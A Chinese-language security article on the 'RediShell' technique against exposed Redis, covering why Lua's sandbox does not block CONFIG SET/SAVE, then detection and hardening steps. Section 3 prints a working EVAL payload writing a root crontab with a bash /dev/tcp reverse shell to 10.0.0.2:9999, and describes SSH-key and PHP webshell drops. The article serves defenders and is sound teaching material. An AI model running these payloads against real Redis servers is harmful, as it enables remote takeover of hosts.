最近在看一次内网安全评估报告时又碰到那串熟悉的关键字:6379 端口暴露、CONFIG SET dir、EVAL脚本,最后落盘写了一个 crontab。群里管这套打法叫 RediShell,听起来挺酷,本质上是借着 Redis Lua 脚本引擎的能力做了一次 RCE,直接把一个数据库服务变成了攻击者的远程 shell。这个玩法并不算新,但隔一阵子就会有人用它拿下目标机器,值得好好拆一遍。
这篇文章适合 Redis 运维、平台工程师和安全从业者一起看。如果你正在管一套带 Redis 的线上系统,或者你在做内网渗透,下面这些内容可以帮你搞清楚 RediShell 到底打在哪里、为什么 Lua 会成为突破口、以及如何提前把路堵死。
1. 背景与定位:RediShell 是在打什么
1.1 Redis 高频应用,高价值目标
Redis 恐怕是现在业务系统里普及率最高的组件之一。缓存、Session、分布式锁、限流、异步队列,它都能干。甚至在不少架构里,Redis 的角色已经从“缓存”变成了“核心数据库”,里面存着会话和业务状态。正因为用得多、权限大、部署复杂,Redis 成了攻击者的优先目标。
很多团队部署 Redis 时根本没把它当作一个“可编程服务”来理解,而只是当成一个更快的 KV 存储。于是默认配置一上来:bind 0.0.0.0、没有requirepass、数据目录随便落在/data,进程甚至轻率地以 root 身份运行。这种状态一旦端口暴露到不可信网络,攻击面就是全面打开的。
1.2 RediShell 就是那套“借尸还魂”的武器
RediShell 并不是 Redis 官方发布的工具,也不是某个商业产品的代号,而是安全社区对一类利用脚本的统称。这类脚本的目标很直接:通过 Redis 自带的能力,让攻击者在目标服务器上拿到 shell 执行权限。
它的核心不是破洞,而是“借力”。攻击者连接上未授权的 Redis 后,不需要逆向二进制,也不需要内存漏洞,只靠几条命令就能完成命令执行。Lua 脚本引擎在其中扮演的角色,是让整个利用过程更加紧凑和隐蔽:调用一次EVAL,就可以把配置修改、数据写入、持久化触发全部一次性完成,像写了一段自动化程序一样干净。
这里说的“严重 RCE 威胁”并不是某个特定版本的内存破坏漏洞,而是 Redis 在设计上给了 Lua 脚本过宽的权限,加上默认配置没有收敛,导致一条链路直接通向系统 Shell。
2. 读懂前置条件:EVAL 和 Lua 在 Redis 里的地位
2.1 EVAL 是原子操作的“神兵”也是“暗门”
Redis 从 2.6 开始内置 Lua 解释器,提供EVAL和EVALSHA命令。EVAL的基本写法是把一段 Lua 代码交给 Redis 服务端执行:
EVAL "return redis.call('GET', KEYS[1])" 1 mykey这条命令会让 Redis 在服务端解析 Lua 脚本,把KEYS[1]替换成mykey,然后通过redis.call('GET', ...)去执行一条 Redis 命令。脚本实现是业务逻辑和原子操作的结合:因为 Redis 是单线程执行命令,Lua 脚本在运行期间不会被打断,所以很多分布式锁、限流器、秒杀减库存都愿意用 Lua 来保证并发安全。
问题也藏在这里:脚本是在 Redis 服务端进程内执行的。它不是一个独立沙箱进程,而是和 Redis 主进程共享内存空间的“寄生代码”。你能在脚本里触发的所有能力,都直接对应到 Redis 的最终权限。
2.2 Lua 沙箱究竟限制了什么
Redis 对 Lua 并不是完全放养,它做了一层沙箱。官方在初始化 Lua 环境时,会删掉一批危险能力,避免脚本搞坏服务器或者读取敏感文件。典型的禁用项包括:os、io、package、debug、loadfile、dofile等。下面是常见的沙箱保留/禁用对照表:
| 分类 | 典型入口 | 沙箱状态 |
|---|---|---|
| 系统调用 | os.execute、os.rename | 移除 |
| 文件操作 | io.open、io.write | 移除 |
| 模块加载 | package.loadlib、require | 移除 |
| 调试能力 | debug.getupvalue | 移除 |
| 动态编译 | loadstring | 保留但可控 |
| Redis 交互 | redis.call、redis.pcall | 保留 |
| 工具库 | string、table、math | 保留 |
看到这里,很多人会松一口气:系统调用被删了,文件读写也没了,Lua 脚本不是挺安全的吗?但真正的问题在于,这个沙箱只挡住了“Lua 原生能力”,没有挡住“Redis 自身能力”。
2.3 沙箱并没有挡住危险能力
redis.call是一个从 Lua 打回 Redis 内部命令的桥梁。它执行的结果是 Redis 自己的命令集,而 Redis 的命令集里本来就有非常危险的管理命令:CONFIG SET、SAVE、BGSAVE、SLAVEOF。沙箱没拦这些,也不会替你做访问控制。
这就形成了一个能力边界错位:Lua 沙箱认为自己在管“脚本不越权”,但脚本通过redis.call能调用的 Redis 命令并不受“最小权限原则”约束。也就是说,允许执行 Lua 脚本,等于允许用脚本调用 Redis 的一切可用命令。
RediShell 之所以能“绕”过去,并不是靠什么高级逃逸技巧,而是发现了一个设计边界:“不让你用 os 库” 和 “不让你干坏事” 是两件事。
3. RediShell 漏洞原理:三步拿到系统 Shell
3.1 核心思路:用 CONFIG 写文件,用 SAVE 触发落盘
Redis 支持把内存数据持久化到磁盘。RDB 持久化会把某个时间点的数据稠密地写入一个二进制文件,文件名和目录由dbfilename和dir两个配置决定。这两个配置不但能用CONFIG SET临时改,而且改动后不需要重启即生效。
CONFIG SET可以修改运行中的 Redis 配置,这是官方提供的能力。默认情况下,只要连接是未认证的或已经通过认证,任何人都可以执行。于是“写文件”这个步骤就变成了:
- 通过
CONFIG SET dir把持久化目录改到攻击者想要的目录。 - 通过
CONFIG SET dbfilename把文件名改成目标文件名。 - 通过
SET写入一个包含恶意内容的 key 和 value。 - 通过
SAVE或BGSAVE触发持久化,目标文件落盘。
听起来像是正常备份流程,实际就是在目标机器任意位置种一个文件。如果 Redis 进程是 root 启动,那能写的范围就是整个文件系统。
3.2 关键命令拆解与构造
以最常见的 crontab 利用为例。假设目标 Redis 进程是 root,攻击者想把恶意命令放进 root 用户的定时任务里。典型 Lua 攻击脚本如下:
local payload = "\n\n*/1 * * * * bash -i >& /dev/tcp/10.0.0.2/9999 0>&1\n\n" redis.call('CONFIG', 'SET', 'dir', '/var/spool/cron/') redis.call('CONFIG', 'SET', 'dbfilename', 'root') redis.call('SET', 'cronline', payload) redis.call('SAVE') return 'ok'通过EVAL一次性执行:
redis-cli -h 192.168.1.10 -p 6379 EVAL'local payload = "\n\n*/1 * * * * bash -i >& /dev/tcp/10.0.0.2/9999 0>&1\n\n"; redis.call("CONFIG", "SET", "dir", "/var/spool/cron/"); redis.call("CONFIG", "SET", "dbfilename", "root"); redis.call("SET", "cronline", payload); redis.call("SAVE")' 0执行完成后,/var/spool/cron/root文件会出现在服务器上。定时任务每一分钟运行一次,触发/bin/bash向攻击者的 IP 发起反弹连接。这里要解释一下:/var/spool/cron/root里面虽然是 Redis 的 RDB 二进制内容,不是干净的 cron 格式,但 cron 解析器会按行读取,只要有一行是有效的定时任务,它就会执行。攻击者在 payload 前后加上大量换行,就是为了让 RDB 文件中那些二进制垃圾被 cron 当作错误行忽略,而真正恶意的那一行会被识别。
3.3 从写文件到反弹 Shell / 逆向后门
crontab 只是其中一个落点,比较常见的还有两种:
- SSH 公钥写入:把
dir改成/root/.ssh/,把dbfilename改成authorized_keys,然后 SET 一个值,值里包含攻击者的 RSA 公钥。之后攻击者可以用对应的私钥直接 SSH 登录目标。 - 网站目录写 WebShell:如果目标跑着 PHP,可以把持久化文件写到 Web 根目录,写入
<?php @eval($_POST['cmd']);?>之类的代码。虽然 RDB 文件头是二进制垃圾,但在某些场景下攻击者可以调整格式让 PHP 引擎尽量忽略非 PHP 标签外的内容,实际利用效果取决于具体环境。
这些落点的共同原理都是:利用 Redis 落盘能力,把控制文件写到攻击者能利用的位置。反弹 shell、公钥登录、WebShell 都只是后续承载恶意代码的方式。RediShell 这类工具会把上述操作封装成一条 EVAL 指令,攻击者只需提供目标 IP、攻击 IP、端口和目标类型,工具自动完成。这也是它被称为“Redis Shell”的原因。
3.4 为什么日常配置会放行
很多人会问:我都开启了密码,也做了 bind 限制,还会被这样打吗?
要回答这个问题,得看你有没有从权限模型上做约束。默认情况下,Redis 的认证只是验证 TCP 连接有没有密码,验证通过之后,所有可用命令是平等的。CONFIG SET和GET在权限上是同一层级,没有“普通用户不能改配置”这种区分。
所以实际情况经常是:
- 内网 Redis 没密码,防火墙只挡外网,但攻击者已经通过 WebShell 或其他入口拿到内网跳板。
- 有密码,但密码是
redis2020一类弱口令,基本等于没有。 - 启用了 ACL,但开发图省事给了用户
allcommands权限,Redis 的“低权限账号”形同虚设。 - Redis 容器以 root 启动,数据目录绑定到宿主目录,一条 EVAL 就能写宿主机文件。
任何一条落实,RediShell 都能用起来。真正挡住它的不是密码,而是“能不能执行 CONFIG/SET/SAVE”这套权限组合。
4. 影响范围与利用条件分析
4.1 必须满足的这四个前提
要把 RediShell 从“有漏洞”变成“拿下 shell”,通常需要满足以下条件:
| 条件 | 说明 |
|---|---|
| Redis 端口可访问 | 6379/TCP 暴露在攻击者网络可达范围内,或在获得内网跳板后可触达 |
| 未认证或弱口令 | 攻击者能成功执行命令;ACL 配置不当同样算 |
CONFIG SET未被禁用 | Redis 没有用rename-command CONFIG ""来禁用该命令 |
| Redis 进程有写权限 | 进程用户能够写目标目录,比如 root 写/var/spool/cron,或用 redis 用户写 Web 目录 |
这四个条件缺一个都不行:就算端口暴露,但 Redis 用非 root 跑了,写不进 cron 目录,攻击面就会缩小;就算能写文件,但今天 Redis 已经把 CONFIG 命令禁用,脚本也传不进去。
4.2 真实网络环境中的暴露情况
在互联网上扫描 6379 端口,依然能扫到大量裸奔实例。它们分布在各类云主机、开发测试环境、容器平台里。很多团队以为内网是安全的,实际上内网攻击者可能已经从一个低权限 Web 应用打进来,接着就会扫内部网段的 6379。Redis 往往配置在内网,却只用了requirepass做最基础的卡口,有的密码还被存在代码仓库里。
还有一类常见场景是 Docker 部署。有些部署脚本为了省事,直接做了docker run -d -p 6379:6379 redis:5.0,宿主机的 Redis 端口映射到公网,容器内默认账号没有密码,进程也是 root。这种环境对于 RediShell 来说几乎就是“开箱即用”。
4.3 与纯 Lua 沙箱逃逸的对比
安全文献里还提到另一类 RCE:通过 Lua 沙箱自身的漏洞逃逸出 Lua 运行时,直接调用os.execute。这类漏洞在特定历史版本中真实存在过,需要利用getfenv、setfenv、loadstring等语言特性爬环境,或者用调试接口拿到隐藏的全局表,技术门槛更高。而 RediShell 走的配置滥用路径则完全不同:
| 对比维度 | RediShell(配置滥用) | Lua 沙箱逃逸 |
|---|---|---|
| 利用复杂度 | 较低,几行命令即可 | 较高,需要构造语言环境逃逸链 |
| 版本依赖 | 广泛存在于旧版本和不少新版本 | 通常依赖特定历史版本或老 Lua 解释器 |
| 是否绕过 Lua 沙箱 | 不需要,直接使用沙箱内能力 | 需要突破沙箱边界 |
| 本质 | 权限模型设计缺陷 | 语言运行时隔离缺陷 |
两者都说明一件事:把不可信代码放进 Redis 进程执行本身就很危险,不管边界是“配置滥用”还是“语言逃逸”,最终都能通向系统级 RCE。
5. 检测、排查与防御落地
5.1 怎么判断自己是不是中招了
如果怀疑环境中了 RediShell,先检查这些点:
- 查看
/var/spool/cron/下有没有异常的root文件,以及内容是否包含反弹 shell 特征。 - 查看
/etc/cron.d/、/etc/crontab有没有不认识的定时任务。 - 检查
/root/.ssh/authorized_keys是否被追加了陌生公钥。 - 在 Redis 上用只读命令确认运行中配置:
redis-cli -p 6379 CONFIG GET dir redis-cli -p 6379 CONFIG GET dbfilename正常环境下dir应该是 Redis 自己的数据目录,比如/var/lib/redis;如果变成/var/spool/cron或者/tmp这种明显不属于 Redis 持久化的目录,就需要重点排查。
- 查看 Redis 命令统计,看
config命令是否有大量非业务调用:
redis-cli -p 6379 INFO commandstats | grep -i config5.2 修复与加固清单
防御 RediShell,核心思路是把“让攻击者具备利用条件”的路一条条堵死:
- 网络隔离:Redis 只允许业务服务器通过内网访问,防火墙关闭公网 6379 入站;容器映射只绑定可信网卡。
- 启用强认证:生成随机强度足够复杂的
requirepass,不使用redis、password等常见弱口令。 - 升级 Redis 版本并启用 ACL:为每个业务独立账号分配最小权限;业务账号不包含
CONFIG、SAVE、BGSAVE、SLAVEOF、SCRIPT等管理命令权限。 - 显式禁用高风险命令:如果业务不需要通过命令行改动配置,可以在
redis.conf里用重命名方式屏蔽:
rename-command CONFIG "" rename-command EVAL "" rename-command EVALSHA ""注意生产环境要确认业务脚本没依赖这些命令,否则会误伤。
- 低权限运行 Redis:创建独立系统用户(如
redis),确保进程不拥有 root 权限;数据目录的所有权也归属于该用户,避免任何写/var/spool/cron、/root/.ssh的可能。 - 修改持久化文件名和目录:可以考虑限制
dbfilename只允许固定值,防止攻击者改写成任意文件名。 - 开启日志和审计:记录
EVAL、CONFIG SET、SAVE等事件,并接入外部监控告警。
5.3 本地复现实验注意事项
如果你打算在本地环境验证这个利用链,请一定在隔离的虚拟机或 Docker 容器内执行,绝不能对着互联网资产测试。推荐流程:
docker run -d --name redis-poc -p 6379:6379 -e ALLOW_EMPTY_PASSWORD=yes bitnami/redis:5.0然后使用redis-cli连接,执行前面给出的 EVAL 脚本。观察SAVE之后/var/spool/cron/root文件是否生成。这个实验能帮助你直观理解“为什么 Lua 脚本可以随意修改 Redis 配置”。实验结束后,立刻销毁容器,不要留下脏数据。
这里提醒一句:不要把 PoC 直接改一改就丢进客户环境里跑。安全测试需要授权,复现只能作为技术和防御研究的一部分,目的是把风险讲清楚,而不是滥用工具。
6. 一点个人经验
我做过的几次 Redis 相关安全自查里,最常见的误区是团队认为“开了密码就安全”。实际上,密码只是第一道门,真正致命的是 Redis 的命令权限完全没有细粒度控制。很多开发框架为了追求性能,会在业务代码里频繁使用EVAL,这本身就要求 Redis 开放脚本执行能力。如果这个时候 Redis 还能写任意目录、还能有 root 权限,那一条漏出的服务密码就可能演变成主机沦陷。
另一个容易被忽略的点是监控:很多环境里,Redis 日志根本没接入统一采集,所以即使攻击者已经用 EVAL 写过 cron 文件、弹过 shell,你都不知道它是怎么进来的。建议至少把 Redis 的命令调用统计做成定时巡检,尤其是CONFIG、SAVE、EVAL这三类命令的使用频率和来源 IP,发现异常及时排查。
最后再说一个小技巧:除了禁用CONFIG,还可以在redis.conf中把save ""写进去,彻底关掉 RDB 持久化。如果业务完全不需要 RDB,这个动作可以单独堵住 RediShell 最关键的“落盘”环节。如果必须使用 RDB,则要把持久化目录权限配置得非常严格,只允许 Redis 数据目录可写。每一层少一个条件,攻击者就少一分机会。